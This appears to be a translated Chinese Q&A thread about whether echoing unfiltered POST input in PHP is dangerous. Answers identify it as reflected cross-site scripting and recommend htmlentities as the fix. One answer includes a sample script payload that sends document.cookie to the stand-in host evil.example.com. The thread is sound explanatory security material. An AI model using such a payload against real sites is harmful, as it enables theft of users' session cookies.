PHP 文件包含

PHP File Inclusion

我有一个文本框,用户可以在其中输入一个值,然后 PHP 脚本会回显它。文本框通过 POST 发送到服务器并保存在名为 Temp.

的变量中

如果我使用以下行创建输出脚本,假设没有进行任何验证,echo 是否会阻止文件包含或任意 PHP 注入?

<?php echo $Temp; ?>

没有。我可以在输入中输入恶意 javascript 代码,浏览器会在您查看使用 <?php echo $Temp; ?>

生成的页面时执行该代码

mkaatman 的回答可能会也可能不会解决您的问题。 Javascript 是客户端,因此没有发生任何服务器端恶意行为。如果用户将恶意内容放入您回显给他们的文本框中,他们只会在客户端影响他们自己。

换句话说,如果您所做的只是存储和回显,PHP 将不会执行用户在该变量中输入的内容。不会对服务器造成任何伤害...我认为这就是您要问的

典型的xss漏洞 阅读更多 here 因此,请务必在收到任何用户输入后立即对其进行过滤。 php 有很好的类型转换,如 (string)$Temp 和上面提到的 htmlspecialchars()htmlentities()

这是一个经典的反射Cross Site Scripting漏洞。注入的代码不会在服务器上执行。

恶意用户可能会设置他们自己的站点以 POST 到您的表单。发布的值可能类似于

<script>
new Img().src = 'https://evil.example.com?' + escape(document.cookie);
</script>

当登录到您网站的用户访问恶意页面时,攻击者将检索您网站的用户 cookie(以及任何未标记为 HttpOnly 的 cookie)。 要缓解这种情况,请执行以下操作:

<?php echo htmlentities($Temp); ?>

这会将任何脚本显示为 HTML 而不是执行它。